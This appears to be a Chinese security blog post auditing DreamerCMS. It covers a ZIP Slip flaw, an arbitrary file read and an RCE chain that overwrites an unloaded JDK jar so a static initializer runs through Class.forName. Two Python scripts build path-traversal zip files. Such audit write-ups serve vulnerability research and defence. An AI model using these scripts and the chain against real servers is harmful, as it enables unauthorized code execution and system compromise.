DreamerCMS代码审计

前言

一个Springboot项目,看到很多任意文件上传的洞,但众所周知Springboot任意文件上传是无法直接getshell的,下载源码审计一下。

ZIP Slip

cc/iteachyou/cms/utils/ZipUtils.java#unZipFiles没有验证目标文件路径是否在目标目录内,导致可以写入文件到目标目录以外,也就是ZIP Slip。

image-20230131213914995

cc/iteachyou/cms/controller/admin/ThemesController.java#add调用了该方法且参数可控,那么我们可以利用*/admin/theme/add*路由解压恶意压缩文件来写入定时任务、SSH公钥。

image-20230131215301254

使用以下脚本制作包含路径穿越的压缩文件。

1
2
3
4
5
import zipfile

zipFile = zipfile.ZipFile('t.zip', 'a', zipfile.ZIP_DEFLATED)
zipFile.write('pwned', '../../../../../../../../../../../../../tmp/pwned', zipfile.ZIP_DEFLATED)
zipFile.close()

任意文件读取

image-20230131232630041

image-20230131230103797

image-20230201012730945

image-20230201012914285

RCE

cc/iteachyou/cms/controller/admin/TaskController.java#runTaskCron调用了*Class.forName()*,参数可控。

image-20230201151939509

image-20230201015554062

由于Java的懒加载,我们可以通过覆盖JDK安装路径下未被打开的jar包,在没有被加载的类的静态代码块中写入恶意代码,再利用此处的*Class.forName()*加载类,执行类中的静态代码。但是由此引发了一个问题,如何获取JDK安装路径?实际上,DreamerCMS的后台仪表盘已经为我们提供了JDK安装路径。

image-20230201021319148

需要注意的是,在一些较低的JDK版本中,并不存在懒加载。

image-20230201023217750

8u181

image-20230201112353963

8u212

这里选择覆盖没有被打开的*/usr/local/openjdk-8/jre/lib/ext/zipfs.jar*,制作一个同名jar包。

image-20230201121012985

制作恶意压缩文件,覆盖*/usr/local/openjdk-8/jre/lib/ext/zipfs.jar*。

1
2
3
4
5
import zipfile

zipFile = zipfile.ZipFile('t.zip', 'a', zipfile.ZIP_DEFLATED)
zipFile.write('zipfs.jar', '../../../../../../../../../../../../../../../../../usr/local/openjdk-8/jre/lib/ext/zipfs.jar', zipfile.ZIP_DEFLATED)
zipFile.close()

image-20230201121831418

最后添加计划任务并执行,通过任意文件读取漏洞读取命令执行结果。

image-20230201122618359

image-20230201122957570

image-20230201122922584

快速搭建漏洞环境:https://github.com/N1k0la-T/DreamerCMS